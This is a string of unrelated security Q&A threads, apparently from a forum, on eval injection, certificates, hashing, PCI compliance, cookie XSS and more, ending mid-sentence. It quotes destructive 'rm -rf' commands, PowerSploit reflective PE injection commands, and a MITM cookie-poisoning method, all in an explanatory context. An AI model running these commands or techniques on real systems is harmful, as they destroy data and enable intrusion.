Creative vulnerabilities in unix eval command I'm reading through past exams for an information security subject and I came across this.

#!/bin/sh
#applications launcher
X=$1
eval "$X"

"Do you think the program is vulnerable to attacks? Explain the reason for your answer with an example."

Simple program, obvious vulnerability.

The only example I could answer with (unix programming skill = 0) is that the user input can contain unix commands to cause harm to the system, something like rm -rf /

I would liken this to answering a question about SQL injection and using an example that says DROP TABLE *. It's a legitimate example of the vulnerability but its a boring example.

Unix programmers/security experts. What are some more fun/creative examples for answering this question?

I think you've missed the point of this question. Given the wording of the question, the person who set the exam might not have been very clear on the threat model, unless there's some additional introduction material for this question that you didn't quote and that provides more context.

What you posted is a program which takes one argument, a string, and executes this string as a shell (/bin/sh) program.

The key point is in what context this program is called. There are plenty of programs that execute their argument as a shell program or as an external command, starting with sh itself.

If the program is called in the same security boundary as the entity that decides the argument, there is no security implication since no security barrier is crossed.

If the argument is chosen by an entity outside the security boundary that runs the program (for example, if the program is executed with extra privileges through sudo, or if the argument is read from an external user over the network), then this is a trivial injection. There's no need to be creative: you can put absolutely any code you like in there (you just need to express it in shell syntax). You can access all the files of the user who is running the program, modify them and add new ones, execute whatever programs you want, make use of any available network connection, etc.

Whenever you can execute arbitrary code in a privileged context, you've won. rm -rf / is actually not going to work unless the program is running as root on a system which doesn't have ad hoc rm -rf / prevention. Something like rm -rf ~ (remove all the files in the user's home) would be more useful if you want to cause harm. But usually attackers are after more productive things, such as reading the files stored on this account or the databases that it has access to, planting a backdoor to be able to regain access later, sending spam or generating bitcoins, and so on.


Confirm digital signature on printouts When digitally signing an electronic document (e.g. a PDF or MS Word) the digital signature is apparent in one of the document's pages or as a property indicated by the reader application (e.g. in MS Word a red "stamp" indicates a valid signature.)

In a paperless environment this may be completely adaquate but in a mixed setting the documents may still have to be stored in printed form. "Old-fashioned" document signing confirming every individual page of the document requires from the signers to put a signature on every page.

Having a document that has been electronically signed how can somebody do something similar, i.e. include a type of "singature", on each page of the printed version?

It's theoretically possible for software to put a 'digital signature' in the form of a string of readable characters on each page of text (for example, in the footer of each page).

But to verify it, you would have to manually type the whole page into a computer, as well as the signature string of characters. That wouldn't be very practical.


How does browser verify if SSL certificate is issued by CA? As I'm studying how HTTPS works, one thing baffled me a lot, that is - How does browser verify if SSL certificate is issued by trusted CA? Do browser verify this by ask CA's server? Or it's just the case that only CA can issue those certificate. Couldn't find answer anywhere, so it might be a good addition to this forum.

How does browser verify if SSL certificate is issued by trusted CA? Do browser verify this by ask CA's server? Or it's just the case that only CA can issue those certificate.

You want to read about the topic digital signature. A digital signature allows someone (the CA) to claim that they have authored a data (a certificate containing claims), in a way that are impossible to forge.

Understanding digital signature starts with Public key cryptography. The CA creates a pair of keys: private and public key, that are mathematically linked such that using their private key and a hash of the data, the CA can compute a number (the digital signature) that can be verified by other people that had the linked public key.

Browsers ships with the public keys of a number of trusted Certificate Authority, which it uses as the root of trust. Using this repository of public keys, the browser doesn't need to contact the CA to validate the signature (though note, it does need to contact the CA to verify that the signature hadn't been revoked).


Can a virus on the host affect the VM guest let me explain my problem.
The wifi on my macbook suddenly stopped working so tried to use my usb wifi adapter on a linux VM.
But the funny thing is that nothing works on the guest vm either...

Well funny thing because, I get an IP from my DHCP and I can connect to the internet, but only to google's websites!
exemple: ping google.com = ok and ping bing.com = nok .

Obviously, the rest of my network is working fine and I only get issues on this particular mac.

Can something affect my host file or something like that on OSX and affect my linux as well ?
Have you ever seen such malware? I got pirated several before!

If the host machine has a damaged hosts file, any traffic going from the guest VM, through the host, will encounter this damaged hosts file before it accesses the internet. EVEN IF the guest is using a USB wifi adapter, it will still have to interact with the hosts host file.


Are there any risks in wrapping asymmetric encryption in symmetric? The web app I am developing should be end-to-end-encrypted, but for slightly better user experience, I do not want the user to enter private keys into the client.

Instead I am planning to store the encrypted private key on the application server. The client then decrypts it with a password provided by the user. Of course to download the encrypted private key, the user has to log into the application. Hopefully with a different password as for encrypting the key. (See below)

One risk would be, that the user uses the same password for login and private key encryption, so that the application would not be end-to-end-encrypted anymore.

How do you think about this? Or are there any security issues I do not see?

(To avoid this risk, should I prehash the login password on client side?)

Thanks in advance.

Password-protecting a key, either symmetric or asymmetric, is a common practice. See the question Encrypting With Passwords - Encryption of Key vs. Data for an example.

One problem is that users can choose weak passwords. This can either be, as you note, the same password that they use to authenticate to the site, or it can just be a generically weak password. Using client-side authentication password hashing to keep the server from knowing the user's password can help.

The LastPass password manager seems a similar use case to what you are preventing. LastPass uses 5000 rounds of PBKDF2 with SHA-256 on the client to prevent LastPass from knowing your master password. Performance is a problem with this solution as you need to do enough rounds of hashing to prevent a brute-force attack. As client machines tend to be much slower than server machines, this will be painful. This isn't a problem in the LastPass user model because users are willing to be patient for authentication to LP. You'll need to determine if the same is true for your user model.

A second problem with this solution is that recovery of a lost password encryption key is impossible. While this is a security feature, it may turn out to be a problem for your users.

One advantage of such an encryption scheme is that if the user changes their encryption password, you just need to decrypt the key with their original password and re-encrypt it with the new one. No need to decrypt and re-encrypt all of the data.


Do I understand SHA-1 brute-forcing speeds correctly? (Firefox Password Manager) I read that the Firefox Password Manager has a "bug" (or rather poor design) in that it uses only a single sha-1 hash iteration for the password (which makes it extremely easy to brute-force apparently). And this is done to the point where claims are being made that having a master password isn't even worth it (https://palant.de/2018/03/10/master-password-in-firefox-or-thunderbird-do-not-bother).

I wanted to know how secure/in-secure a single SHA-1 iteration really is, but I am not completely sure I understand the math.

Aparrantly the RTX 2080Ti has 12 GH/s on SHA-1. So let's say I have 4 of those. That would be 48 billion hashes per second. Now let's also say I have a (randomly generated) password that allows for 77 different characters and has a total length of 14 characters. Would the following math be correct:

([number of allowed chars] ^ [password length]) / [hash rate per second] / [seconds in a minute] / [minutes in a hour] / [hours in a day] / [days in a year] = [maximum number of years required to crack password]
So that would be:

(77 ^ 14) / 48000000000 / 60 / 60 / 24 / 365 = 170146221

So that means (if I am getting my math right) that it would take 170 million years to crack a 14 characters long password?

Your math is correct, but you calculated the time needed to test all 14-character long passwords.

The cracking time could be anywhere between now and in 170 millions years, based on your luck.


how message authentication code share keys? How are secret keys shared between receiver and sender, especially when we want to have confidentiality that sender and receiver are using two keys, one for MAC algorithm and one for encryption and decryption?
How do they share these two keys securely?

The common way is using the Public-Key to exchange keys. We assume both parties have public-private keys and they shared and verified their public keys before any other communication.

Diffie-Hellman Key Exchange (DHKE); after the key exchange, you can use a KDF two derive encryption and MAC key. DHKE has also a variant that uses Elliptic Curves, ECDH.
To mitigate the man-in-the-middle attack the DHKE needs a signature on the exchanged information. The TLS naming indicates this
TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256

Key exchange with ECDHE and sign the exchange information with ECDSA. Without the signature, the DHKE becomes anonymous Diffie-Hellman.

RSA-KEM in which RSA can be used to encrypt a uniform random value and this value can be used in the KDF to derive both keys.

You did not mention any encryption mode of operation for symmetric encryption. Actually, we have a modern encryption mode; Authenticated encryption with Associated Data (AEAD). Examples are AES-GCM, Chacha20-Poly1305. AEAD can provide confidentiality, integrity, and authentication. This authentication should not be confused with non-repudiation since both parties know the key you cannot prove that the message is produced only by one party.


Telcom company injecting javascript in the header of a web-page The start page of my browser is example.com.

Recently, connecting through the main Spanish telcom network (Movistar), I got a different page, with a header showing the name of the this company.

This is the js:

  setInterval(function(){if(!document.getElementById('OPTSmartBannerScript')){var
  js = document.createElement('script');js.id =
  'OPTSmartBannerScript';js.src =
  'https://conexionseguraempresas.movistar.es/public/SecureBar/icon.js?preview=0&type=degustacion';var
  first =
  document.getElementsByTagName('script')[0];first.parentNode.insertBefore(js,
  first);}},1000);var g_icon_parameters = {
  "servicesStatus" : "W=1;V=1;P=1;"}

What's the point of this?

I do not suspect a real scam behind this, but if they mess with this page, how to know they don't mess with other pages?

How to know they don't mess with other pages?
Use HTTPS to ensure nobody messes in-transit with the pages you receive.

What's the point of this?
This seem to be part of a service called conexion segura (safe connection) that checks the reputation of the pages you load:

The Conexión Segura service checks the reputation of the web page and, should it be of doubtful reputation, it alerts you blocking the access, that may be continued under your own responsability.
This way, it will keep you safe in real time from potential threats of Malware and Fraud (Phishing identity impersonations) types.
Its activation is immediate and independent of the OS, as well as of the device you use to browse.

Translated from http://www.movistar.es/particulares/conexion-segura/
It seems you have accessed a page that was flagged by them as suspicious, and this system replaced it on the fly with a warning page that would allow you to proceed if so you wish.
According to the providing information, this service can be enabled and disabled at their portal page by the owner of the connection.


Ensuring that non-executable files are not malicious Let's say that I have been sent some maliciously-crafted audio files by an attacker that use an unpatched security exploit somewhere in my system to compromise it. How can I reprocess the actual audio (or image, or text etc.) content of such a non-executable file to ensure that, regardless of whether or not the file is malicious or not, it is rendered safe?
For example, could this be done simply by opening the file in audacity and exporting the audio in the same format?

There is a new and growing technology area called Content Disarm and Reconstruction (CDR). This does what you are asking for in general, however not all CDR solutions tackle all file types (like audio and video).
The idea is that the file is analysed and reconstructed to contain only the data and format, but nothing else. It's like a sanitised copy of the file.
I predict that CDR will become an important part of everyday security, but it is still in the "new and cutting edge" phase right now.
In the absence of a tool, you are looking to perform the same function on your own. How that works will depend entirely on the file type and what you need to extract. To do it safely, you can take the same approach as CDR tools: sandboxes and disposable VMs in case the malicious code was destined for your tools.
(full disclosure: I advise a CDR company)


For high entropy credentials, is SHA256 hashing good enough? Let's say I've got a database of high-entropy credentials (e.g. 256-bit random values) used as API keys by clients. I'd like to hash them in my database so that a database compromise doesn't allow an attacker to access my API with stolen credentials.

Now, given that I have guaranteed high-entropy values (no short or easy to guess "passwords"), is there really an advantage to something like bcrypt? Could I do effectively just as well with, say, unsalted SHA256?

Yes. Salt is used to prevent precomputation attacks, but random 256 bit strings are too large for precomputation. Slow hash functions with many iterations are meant to slow down dictionary attacks, but random 256 bit strings are too big for a dictionary or for exhaustive testing. So a single SHA256 hash is secure for long, cryptographically secure random inputs.


Flash cookie and man-in-the-middle I am using the Scala Play web framework. In it, there is a PLAY_FLASH cookie used to flash messages to the user (it's a cookie so it will still work after several redirects).

I put HTML in the cookie so I can include links, etc.

Other details:

The cookie is not HTTPS-only.
I do not have a Content Security Policy.
I do not have HTTP Strict Transport Security (yet).

A pen testing team reported this:

  The PLAY_FLASH cookie can be used to XSS the user (e.g. through non-SSL MITM)

Is this correct? You could certainly use the cookie for XSS if get man-in-the-middle.

But if you get man-in-the-middle going, who cares about XSS? You have the keys to kingdom, at least for that user. Right?

You would normally be correct, however you cannot protect against this MITM vulnerability even if you use a secure cookie over SSL. This cookie could still be MITM'd to inject XSS.
The pen test report is correct - the fact that the XSS mechanism is a cookie gives rise to the MITM vulnerability. This is because the Same Origin Policy for cookies does not treat different protocols and ports as separate origins:

cookies have scoping mechanisms that are broader and essentially incompatible with same-origin policy rules (e.g., as noted, no ability to restrict cookies to a specific host or protocol) - sometimes undoing some content security compartmentalization mechanisms that would otherwise be possible under DOM rules.

Without the cookie functionality, the XSS vulnerability has gone and so has the MITM vulnerability. I aim to explain below by example.
Say you wrote a safe link to a cookie with the secure flag set such as
University Link

The Secure flag will prevent a MITM from reading the cookie value. However, an attacker could MITM any other HTTP connection from the victim to any other site and then insert their own resource reference to your site.
That is, say your victim visits bbc.co.uk over plain HTTP. The MITM intercepts the HTTP request to bbc.co.uk and adds a fake JavaScript resource request into the page to your site, example.com.

They would then be able to MITM this request (because it is plain HTTP) and insert a Set-Cookie header in the response. So they could set the cookie to

to overwrite your secure cookie. Because to the browser the cookie is being set from your domain, it will be readable on both HTTP and HTTPS. When the user next visits your page, this cookie will be read and then rendered to the page  as the server has no way of knowing that this cookie was set over HTTP. Even though the secure flag is set on your original cookie, this cookie can overwrite it and as the server only gets the name/value pairs and not the value of the secure flag, it has no way of knowing that this cookie has now been poisoned.
HTTP Strict Transport Security can protect against this as the plain HTTP connection will be automatically converted to HTTPS and then will be immune to MITM so long as the HSTS policy does not expire. Also your site would still be vulnerable before your user accesses your system using their browser, as HSTS will not yet be established for your domain unless you have it in the preloaded list. Additionally, some browsers such as Internet Explorer do not yet support HSTS.
So in short, it would be better to store these links or any text you would want rendered for the user server-side and simply store a secure token within the cookie that can be looked up within your database. This will prevent any XSS attacks using the cookie. Do not encrypt the cookie value, because if there are any ask the Oracle cryptographic flaws in your system this could still leave you vulnerable. A better approach would be to HMAC the HTML code in the cookie with a secret key held server-side, and then check this MAC is correct before any rendering. This will prevent any HTML code that is set outside of your application from being injected.
Also see Security of an initial redirection from http://example.com to https://example.com


PCI 3.1 - SAQ D - Supporting Servers For the past year and a half now, I've been working as the sole individual at a small retail hardware store trying to attain proper (read: not checkbox) compliance, and I am beginning to enter the final stages of the process.

This means it is also time to begin making final investments into hardware needed to be PCI compliant, which brings me to the question of what servers are needed to support the CDE.

After reading the requirements, books, and re-reading the requirements a handful of times, I have compiled this list of servers needed to support to CDE:

Proxy Server (Requirement 1.3.3, Back Office PC which are connected to the CDE and need access to web pages)
File-Integrity Monitoring Server (Requirements 10.5.5 & 11.5)
Syslog Server (Requirements 10.5.3 & 10.5.4)

Additionally, there are servers not specifically listed as a PCI requirement, but aid in the compliance process

Active Directory Server (GPO Management, User authentication, etc.)
Data Loss Prevention Software

Now with all of this said, my question is whether or not this assessment falls in line with anyone's experience with PCI compliance.

As per, requirement 2.2.1, each server needs to have only one primary function which means I would need to get five servers based on this assessment (or get a server capable of virtualizing these servers).

Does this all seem to make sense or am I missing something? Any suggestions or further questions are welcome.

Edit:  I am glad I get to edit this to add to my answer a bit, because after happening to read it again a minute ago I realized how far from really answering your question in a direct, useful way I came. What I said below yesterday was not wrong, but let me add just a tad more upfront to actually start to answer the question/s you raised & tie in what I wrote yesterday. So:

First, a requisite disclaimer:  From your standpoint you should not view me as you would a QSA or other compliance professional engaged by you in your paid employ and highly familiar with your specific circumstances.  From your standpoint, you should treat me as some guy on the Internet who may or may not know what he's talking about, and who you probably should not rely upon your sole source of information and advice about any important point.

Okay, so...

Let's start with this: those five servers you noted?  You very likely don't need any of them.

Why?  Well, here's the thing:  many of the PCI Requirements, as you may have intuited, aren't actually written with the small business owner's situation--especially the single-person small business owner's situation--in mind.  Rather, many of them are really directed toward mid-sized and larger businesses. The complex thing, however, is that there's no actual, one single place in the Requirements that says which ones apply to everybody and which ones apply to only to larger entities with more complex operations to monitor.  The reason behind that actually makes a little sense: some small businesses may actually use or run certain elements or capabilities that are typically found in larger firms and implicate some additional security considerations. But this not-really-clear approach can, in my experience, create some undue consternation among business owners when they start reading about how they need to take measures to protect equipment that they don't have.

Now, don't get me wrong: a small business, even a one-person small business, is not by any means exempt from the need or duty to comply with most specific Requirements.  You don't get to store unencrypted card data, or run your PCs operating systems' unpatched, or anything like that.  But there is at least a little bit of a "sanity test" element involved about whether a given Requirement applies to you. Lets go over one example: If you run a single-person business that you use a single Windows PC with a POS application on, what does Requirement 6.1 require of you? If you have Windows set up to automatically download and install patches, must you still "Establish a process to identify security vulnerabilities, using reputable outside sources for security vulnerability information, and assign a risk ranking (for example, as “high,” “medium,” or “low”)..." Windows vulnerabilities? Even if you were super-motivated to read over Microsoft's vulnerability bulletins for each month's announced security updates by the time they are released and you've read them and rated them (somehow) your lone Windows PC has probably already installed the security updates that have fixed them? (Now, on the other hand, if you were a security team with a huge national retailer might find that a lot more relevant.)   What about, say, Requirement 12.10.5?  Do you need to develop a written response plan and then "[d]evelop a process to modify and evolve the incident response plan according to lessons learned and to incorporate industry developments." if you have a single-operator business?

Obviously not.  If you look at your SAQ D self-questionnaire forms you'll see the "Not Applicable" column on there besides "Yes", "Yes, with Compensating Controls" and "No".  Small businesses can expect to make good use of that column. In particular, a lot of Requirements that apply to the types of servers that you listed in your question simply do not apply to you, a business operator who neither has any of those servers nor any need for such servers.  it is not the intent of the PCI Requirements, we must assume, to make you buy additional computers for your operations soley so you can put certain measures into effect to protect them and tick a "yes' box on the SAQ form.

But what about things that are less clear cut?  Requirements that seem pretty oneous for (let's say) a one-person, one-computer small business but which sound  like possibly relevant important controls?  This is where a combination of being willing to rely on a common-sense understanding of what "Compensating Controls" you can rely on in real-world security and put on the SAQ with a straight-face can prevent you from needing to, for example, necessarily deploy a network-based Intrusion Detection System or dedicated file-modification monitoring software.

More about that in a bit.  But first there's an important technical question to answer before almost any other: In your payment setup, is credit/debit card information first encrypted while it's still in the card reader or terminal itself, such that your attached PC with your Point-of-Sale software on it never even sees unencrypted vital card info at all? Or is that card information passed from your card reader/terminal to your attached POS machine "in the clear" where software on the PC first encrypts it before sending it out over the Internet? Because on the outcome of that question rests two things: the kind of PCI questionnaire you should be filling out (SaQ-P2PE vs. SAQ D) and the degree of measures you need to be implementing to provide a security environment that could legitimately PCI scrutiny. (As well as, you know, actually protect your customers' financial information.)

Let's start with your card reader or terminal.  If you have the right one, it can make a huge, huge difference in the hassles you'll have to deal with in terms of PCI compliance.  Why? Because of the existence of "on-swipe", card-reader-to payment-processor, end-to-end encryption.  This is, by far, the single most important issue there is when it comes to both your PCI compliance and the actual quality of security with which you will safeguard your customer's card information.

Why is that so?  Because with on-swipe encryption your customers' vital debit/credit card information is encrypted before it ever leaves the card reader and hits your systems.  It is decrypted only when that bundle of information hits your payment processor's infrastructure after traveling over the Internet.  In other words, whatever security weaknesses or flaws, even active malware installations on your Point-of-Sale systems (which is where payment information still gets first encrypted in most setups right now, unfortunately), become irrelevant.*  The in-reader encryption means that you, your equipment, and any card-info stealing malware that may reside in your equipment, simply have no electronic access to the information a crook would need to counterfeit a customer's card or abuse a customer's card number. If Target, Kmart, Home Depot, et al. had had end-to-end encryption in place and properly configured exactly no cards could have had their info captured by Point-of-Sale malware in the breaches that have so rocked the American retail payment space.  And--most directly applicable to your question-- the PCI requirements for a merchant who has o- swipe/end-to-end encryption setup are much, much shorter than the normal rules and entail vastly less expense and sophistication to comply with. (And those rules that exist focus entirely on whether you've got the encryption setup properly and on a few non-technological policy areas.)

How do you get on-swipe/on-reader encryption?  Well, you will need to call your payment processor and talk with them about replacing your current card reader with an encrypting card reader.  For the last very small business I did work for, less than a year ago, its payment processor had a Magtek reader (this payment processor just happened to partner with Magtek; there are other good makers out there also) available for about $90 per reader; setup entailed going over a configuration process over the phone with customer support for, oh, about 10 minutes.  Before buying the new readers we also called the company that made the POS software on the standard Windows PCs we were using, just to be conservative about avoiding conflicts; no problems. Installation and activation went very well, and my client since has been running as reliably and with much better security than as before.

Alternatively, if you might be interested in switching over to new payment offerings from Square, Amazon, and Paypal all of their now-shipping readers come with on-swipe encryption built-in.  And if you're looking at this October and thinking about getting an EMV/chip-card reader to meet the informal, not-a-deadline deadline for supporting that standard almost all of the dual EMV/magnetic stripe terminals you will see will come with baked-in encryption for magnetic swipe card transactions. (But check before you buy.)

So...yeah. That would be my guidance (as someone who, in a legal sense, you should not rely solely on for guidance.  Just a reminder/disclaimer). But yeah, encrypt your card data at the reader.

*And yes, I suppose maybe I go a little close to saying on-swipe encryption is a magical cure-all of some kind. In information technology you should always, always do some defense-in-depth stuff (like making sure your OS & program security patches are routinely downloaded and applied, being cautious to some degree about the programs you install on your PCs, running with a decent anti-malware program on, etc.)  But in-reader encryption is really a big, big deal.

tl;dr  Get an encrypting card reader, set it up properly, and make compliance much easier and your customer's credit/debit card info safer.


Giving whstapp code to a stranger On Facebook I was chatting a stranger girl the girl asked for the phone number I gave her. But when I asked her number she replied she does not have one. After a while, a WhatsApp message came having a code. She insisted me to give that code. I refused. Was it a scam?

Yes, I'm sure they were trying to do something fishy, although I'm not sure I would call that a "scam", technically. They were probably actually trying to gain control of your account.

Codes are sent to your phone to verify that you actually have access to that phone. If you give those kinds of codes to somebody else, then they will be able to use them to prove they have access to your phone. As a result, the attacker might be able to access your email account even with two-step/two-factor authentication, or they might be able to access your whatsapp account, as might be the case in your situation.

I found the following article that might be relevant, it sounds like the same thing except that you received the request via Facebook.

https://www.police.gov.sg/news-and-publications/media-releases/20190111_SCAMS_INVOLVING_TAKEOVER_OF_WHATSAPP_ACCOUNTS_OTHERS


Is MySQL CONCAT with PDO enough to protect LIKEs from SQL injection? I'm developing a user-facing, public-accessible website where the user can input an arbitrary, hostile search term. After that, the app must do something conceptually like this against a MySQL db

SELECT fields FROM table WHERE field1 LIKE %user_input%

I must make this happen in a sql-injection safe way. So my first thought is using PDO as I'm doing everywhere else:

SELECT fields FROM table WHERE field1 LIKE :user_input_placeholder
$arrParam = array(":user_input_placeholder" => '%' . $user_input .
'%')

But this string concatenation doesn't feel safe at all to me: if the user provides 'user_%_input' that percent won't be escaped and will be parsed as a SQL special char. This smells dangerous already.
Someone over at SO seems to agree and proposes to do this:

SELECT fields FROM table WHERE field1 LIKE CONCAT('%', :user_input_placeholder, '%')
$arrParam = array(":user_input_placeholder" => $user_input)

This looks better to me, but, still, I'm not 100% sure that this would be sql-injection free. Could you please confirm that this is the correct way to do it? If not, please provide a failing example.
Note: I must remain portable and use PDO function, so mysql_escape_string() is not a solution. I also would prefer not to manually strip-out SQL specials like % or _.

Use SELECT fields FROM table WHERE LOCATE(:user_input_placeholder, field1) > 0 but I have no idea how fast/slow it would be.

See https://dev.mysql.com/doc/refman/5.7/en/string-functions.html#function_locate for LOCATE(substr, str) definition

  Returns 0 if substr is not found in str, or returns the position of the occurence


Why Invoke-ReflectivePEInjection not recognized I was trying Invoke-ReflectivePEInjection by doing

.\Convert-BinaryToString
Convert-BinaryToString C:\file.exe
$InputString="base64string"
$PEBytes=[System.Convert]::FromBase64String($InputString)

But when I run

Invoke-ReflectivePEInjection -PEBytes $PEBytes

I get

Invoke-ReflectivePEInjection : The term 'Invoke-ReflectivePEInjection' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
At line:1 char:1
+ Invoke-ReflectivePEInjection -PEBytes $PEBytes
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (Invoke-ReflectivePEInjection:String) [], CommandNotFoundException
    + FullyQualifiedErrorId : CommandNotFoundException

What can be the reason?

It's part of PowerSploit, which you need to install:

Install-Module -Name PowerSploit

If you've already installed it, you need to import it into your scope using

Import-Module PowerSploit

If you need it regularly, add the above in your $profile script.


Risks involved in deploying staging environment externally The users of the application will be the company employees who will access it over the company network and outside too. A penetration test needs to be done on the staging environment which will be done by a different team inside the company network. I want to know if there are any risks invovled if the staging environment is put over the internet.

I would ensure that the penetration testing team tests both access from within the internal network and from the internet. By exposing an application to the internet, you are making access to that application by threat agents (attackers) easier, so yes, this would affect the risk profile of the application. To calculate the risk, consider a threat modelling approach. You might find OWASPs approach useful.


Best alternative for monitoring traffic safely? I need to monitor internet traffic from some smartphones (they want me to monitor them), and I am trying to determine what would be the best setup for my requirements.

I was thinking that what I need is something like creating a VPN service, but I am very new on this field, so I don't know if learning/creating that service is worth it (I am checking openvpn right now).

On the other hand I do know how to use direct proxies, and I setup a very simple example with hoxy and I made a request like:

curl -x my.server.com:port http://httpbin.org/ip

and it did worked, and I was even able to modify the request and response from my hoxy script. The problem came when I tried to do a https request which didn't allow the proxy to work (I think I need to create a self-signed certificate? This would the first time I also try this). The problem with this approach would be how to setup the certificate and also how to configure the smartphone to actually use that (maybe it is the same as a VPN and I am not understanding it correctly).

So what do you think would be the best approach here, assuming that these smartphones can give me all the authority for monitoring them

That is exactly the problem you're running into. You cannot decrypt HTTPS traffic without having a Trusted CA installed on the phone, and the security implications of being able to do so easily would not be pretty.

I decrypt traffic in certain OUs, but phones still get domains blocked. It's not the control you're probably hoping for, but it is what it is.


What are the risks of mismanaging apache users/permissions and what is the right way to do it? Every time I install Apache to test a script, this question comes up for me. I don't do it very often, but I remember this being a pain point since about 2007.

A lot of tutorials/forums recommend using:

sudo chmod -R 777 /var/www/

But never mention that this is not for production or still recommend it even when the question specifies that the server will be public facing, but we don't want strangers able to write files to our server!

Another solution I found was to change the owner of the folder to your user, and then change the permissions:

sudo chgrp joe /var/www/html
sudo chmod 775 /var/www/html
sudo chown -R joe /var/www/html/*

But having ownership of publicly available and executing files strikes me as a bad practice, not to mention all files we might create in this directory will be owned by our user.

What are the implications of these and other bad practices? What are the correct ways to set up the users/permissions of a publicly facing web-server?

As you've noted chmod 777 is a particularly terrible idea. Owning the files yourself might not be as bad as you think; unless you horribly misconfigure Apache they'll still be executed by the Apache user (httpd, www-data, or something else, depends on distribution). There are several other ways to handle this as well.

Add users to the Apache group

Adding users to the group doesn't change the file permissions, but allows those users to modify the files as long as they use the default permissions of 775 for directories and executable files or 664 for non-executable files.

Give users permission with setfacl

Access Control Lists allow finer grained permissions, such as giving users access to specific directories. You can use setfacl as follows:

# -R for recursive
# -m for modify
# u:[user]:[perms] or g:[group]:[perms]
# Perm X instead of x means that execute permission will only be given if another
# user already has execute permission.
setfacl -R -m u:joe:rwX /var/www/html/joes-stuff

# -d modifies the default acl, so future files will have these permissions
setfacl -R -d -m u:joe:rwX /var/www/html/joes-stuff

# You can also do both at once
setfacl -R -m u:joe:rwX -m d:u:joe:rwX /var/www/html/joes-stuff

Restrict Apache permissions

It may be advantageous to remove Apache's write permission (at least to certain directories) so that a vulnerable script won't be able to write files. This is one of the benefits to having the files owned (or writable) by a user and group other than what Apache executes with.


Is there a security advantage towards hashing a password on the server? I'm working on an authentification system. Now in this system the user logs in and sends a hashed password to the server. Is this enough or do I have to rehash the password again?

So basically is this
password => hash => network => hash => database

safer then
password => hash => network => database?
or is hashing already hashed passwords a waste of time and space?

or should it be password => network => hash => database?

As a bonus a likely future expension is to have users login on a remote server where creditals have to be saved and used in future interactions with the server resulting in something like this?

password => network => database1= > network => database2

does this mean having to has 2 or 3 times?

There is no extra security in hashing the password before sending it over to the server, as now this hash would become the password. More important is it to send the password over an encrypted channel (SSL/TLS) to prevent it from being sent in plaintext and being read by others on the network.

To store the password you should hash + salt it, again to prevent the password from being stored in plaintext. If the hashing had been done on client side and you store this hash, it would still be like you stored the password in plaintext, as this hash is now the password.

So always hash (+salt) the password on the server before storing it.


Puzzle: network intrusion or OpenDNS/Disconnect.me collision? My home / home-office network uses OpenDNS as a content filter. As the OpenDNS admin, I received a "User wants access to..." email indicating that someone tried to access a blocked site and requested that it be un-blocked. The user's name and email address were unfamiliar to me.

However, after studying the time of the request, details from the request email, and router logs, I'm fairly sure the requesting device was not connected to my network at the time. The request came from a Disconnect.me VPN IP address.

I'm hazy on the topology of a router-to-DSL-modem-to-OpenDNS configuration, especially with Disconnect.me thrown in. Is it possible this is some unexpected interaction between OpenDNS and Disconnect.me? Or is there some other way an OpenDNS "User wants access" email could be routed to the wrong admin from a device not directly on the admin's network?

More details:

The request email was from an iPad, and my WRT1900AC's control panel says this iPad has never authenticated to my network, so network intrusion seems somewhat unlikely. Also, someone stealthy enough to hack my router almost certainly wouldn't be clumsy enough to fill out a form, supply their name and ISP-based email address (@sbcglobal), and ask me to unblock an adult website.

Coincidentally (?) I recently started trying Disconnect's VPN on one Windows workstation, but that machine was powered off at the time of the request.

The problem here isn't about information security as in "someone hacking my network", but information security as in "information leaking unexpectedly from one user to another".

And it is caused by an interaction between OpenDNS and Disconnect.me VPN. I assume other similar-acting VPNs would have the same interaction.

What OpenDNS does

If you run OpenDNS, it learns to recognize your IP address, and it uses that IP address to apply your filtering rules to all of your traffic. And if you run the OpenDNS IP Updater utility (as recommended), the utility will inform OpenDNS's servers if it sees your network's external IP address change, which can happen to any network whose provider assigns IPs dynamically.

OpenDNS x Disconnect.me VPN

Now throw Disconnect.me's VPN into the mix. While the Disconnect.me VPN runs, it temporarily assigns your computer a new IP address. This is the address of a Disconnect.me VPN server, and the address is shared by other Disconnect.me users. The OpenDNS Updater sees this new IP address and tells OpenDNS's servers to associate it with your account.

Oops.

Why that's a problem

Now any Disconnect.me user who is also running OpenDNS, and who happens to go through the same Disconnect.me server, will have all of their traffic filtered according to your OpenDNS rules. Worse, if they request that their admin unblock a site, you'll receive that request by email instead of their admin receiving it.

When we had this configuration in place, OpenDNS servers showed our traffic stats increase by nearly 1,000% (2,400 requests per day vs. 20,000 requests per day). This was caused by other user's traffic being routed through our OpenDNS account for filtering. If one of those users hadn't requested access to a blocked site, we might not have recognized the problem for a long time.

Solution

Don't use Disconnect.me VPN on a computer that's running the OpenDNS Updater utility.

I suspect Disconnect.me VPN could also resolve this problem by providing its own DNS lookup service rather than running through the computer's default DNS service. (I'll raise this possibility with them.)


How to know if somebody has logged in and when to my win 10? Situation: there is a computer with windows 10. There is also some system that system administrator can change password of windows account from his computer. I do not have idea what software does this.

Can he know my password and login to the windows?

If he cannot know - then he is still able to change it. Lets say he changes it and checks something and then can he change it to the old one? Like in websites it is possible to set in the database old password hash. So in windows case, I would not even know that password was temporarily changed so he could login.

Can I see some logs when he logged in to my computer? Can he delete those logs?

Yes. If someone administers your computer (especially in a work environment and your question sounds like one) they:

know your user name
can learn your password by installing keylogger on your machine
can login to your machine with their credentials and access all data (with minor exceptions)
can change your password, access the data, restore the system to the previous state, so that the old password remains active
can delete the logs showing their access (although likely forensic analysis would prove the tampering)


what is the value of using a VPN browser extension incremental to the value of IP hiding My VPN service offers not only IP hiding and encryption via a desktop client but also an internet browser extension that is optional. Assume a person is using the VPN via the desktop client but not the optional browser extension. I want to understand the incremental value of the browser extension.

The quote is from a FAQ from the VPN service's website.

  What does the browser extension do?

  The browser extension provides a "Lite" VPN client, which does the
  same thing as the desktop one, but only in your browser. Any other
  applications you may be using on your computer will utilize your ISP
  provided IP address. Additionally it blocks thousands of ad beacons
  and trackers that could follow you across the websites you visit, and
  compromise your privacy even if you are already using a VPN. It also
  blocks various "social widgets", such as Facebook Like buttons,
  Twitter badges, etc, which are embedded into millions of websites and
  report all your activity to their respective companies. It also
  rotates your user agent (which identifies your browser), which further
  scrambles your online activities in the eyes of whoever is watching.

  Why should I use both products?

  Contrary to popular belief, a VPN client alone will not keep you
